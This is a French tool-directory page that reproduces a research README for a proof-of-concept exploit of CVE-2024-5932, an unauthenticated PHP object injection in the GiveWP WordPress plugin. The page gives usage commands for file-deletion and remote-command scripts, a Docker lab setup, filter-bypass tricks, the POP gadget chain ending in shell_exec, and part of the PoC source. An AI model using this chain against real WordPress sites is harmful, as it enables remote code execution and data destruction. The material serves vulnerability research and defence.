Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-5932 — Preuve de concept pour CVE-2024-5932, une vulnérabilité d'injection d'objets PHP dans le plugin WordPress GiveWP, permettant l'exécution de code à distance sans authentification et la suppression arbitraire de fichiers via une chaîne POP. | Kitploit
Outils/GitHubGitHub/nishant-kumar-5173/cve-2024-5932
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et ÉducationDéveloppement de Charges Utiles
GitHub
nishant-kumar-5173/cve-2024-5932

CVE-2024-5932

Preuve de concept pour CVE-2024-5932, une vulnérabilité d'injection d'objets PHP dans le plugin WordPress GiveWP, permettant l'exécution de code à distance sans authentification et la suppression arbitraire de fichiers via une chaîne POP.

Voir le dépôt
4il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Cet article est un article de recherche publié par EQSTLab.

❗❗ IMPORTANT ❗❗

Il existe actuellement de faux dépôts GitHub de PoC qui exécutent xmrig. Consultez le lien ci-dessous pour plus d'informations :

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 Suppression de fichier arbitraire et PoC d'exécution de code à distance (RCE) ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Chronologie

25 août : Téléchargement du PoC de suppression de fichier pour CVE-2024-5932

26 août : Nous avons exécuté avec succès des commandes arbitraires en utilisant CVE-2024-5932, mais nous envisageons de divulguer en raison de l'impact.

27 août : Nous avons trouvé une analyse détaillée du PoC dans un article de Julien Ahrens de RCE Security et avons décidé de publier notre PoC RCE. Nous avons téléchargé un PoC RCE supplémentaire sous le nom CVE-2024-5932-rce.py.

Description

CVE-2024-5932 : Vulnérabilité d'injection d'objets PHP dans GiveWP description : Le plugin GiveWP Donation Plugin and Fundraising Platform pour WordPress est vulnérable à l'injection d'objets PHP dans toutes les versions jusqu'à la version 3.14.1 incluse via la désérialisation d'une entrée non fiable provenant du paramètre 'give_title'. Cela permet à des attaquants non authentifiés d'injecter un objet PHP. La présence supplémentaire d'une chaîne POP permet aux attaquants d'exécuter du code à distance et de supprimer des fichiers arbitraires.

Comment utiliser

Cloner avec Git

git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Installer les paquets

pip install -r requirements.txt

Commande

# Suppression de fichier arbitraire
python CVE-2024-5932.py -u <URL_À_EXPLOITER(URL du formulaire de don)> -f <FICHIER_À_SUPPRIMER>
# Exécution de code à distance
python CVE-2024-5932-rce.py -u <URL_À_EXPLOITER(URL du formulaire de don)> -c <COMMANDE_À_EXÉCUTER>

Exemple

python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Sortie

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Résultat

image 2

Environnement vulnérable

1. docker-compose.yml

services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Téléchargez ensuite le plugin GiveWP vulnérable :

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Décompressez le fichier zip du plugin GiveWP et copiez l'intégralité du fichier dans le répertoire “/var/www/html/wp-content/plugins”.

docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Activez le plugin GiveWP

image

5. Ajoutez un nouvel article avec le plugin GiveWP et copiez le lien de l'article

image

6. Vérifiez le lien vulnérable

image

(Option) Configurer le fichier cible dans l'environnement Docker

D'abord, accédez au shell wordpress avec la commande suivante :

docker exec -it -u root docker-wordpress-1 /bin/bash

Si le fichier appartient à root, il peut ne pas être supprimé en raison des permissions. Par conséquent, vous devez changer le propriétaire du fichier de test avec la commande suivante :

touch test && chown www-data test

image

Débogage via PHPSTORM

Vous pouvez déboguer votre GiveWP en utilisant PHPSTORM.

1. Téléchargez xdebug dans votre wordpress (Docker) :

pecl install xdebug

2. Ensuite, configurez le fichier php.ini de wordpress comme suit (Docker) :

[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={votre_adresse_PHPSTORM}
xdebug.client_port={votre_port_de_débogage_PHPSTORM}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..Et ensuite vous pouvez déboguer votre wordpress.

3. Configurez PHPSTORM comme ceci (Local) :

image image

4. Exemple PHPSTORM (par exemple, suppression de fichier arbitraire TCPDF)

image

Analyse

Point vulnérable (includes/payments/class-give-payment.php)

À ce stade, la fonction get_meta() désérialise la valeur "give_title" précédemment enregistrée.

switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Technique de contournement

strip_tags: remplacer les octets nuls -> en utilisant \0

stripslashes_deep: remplacer les backslashes -> en utilisant \\\\

Chaînage POP pour RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Retourne la chaîne de commande)

call_user_func('shell_exec', 'command')

PoC.php

<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}
Télécharger l’outil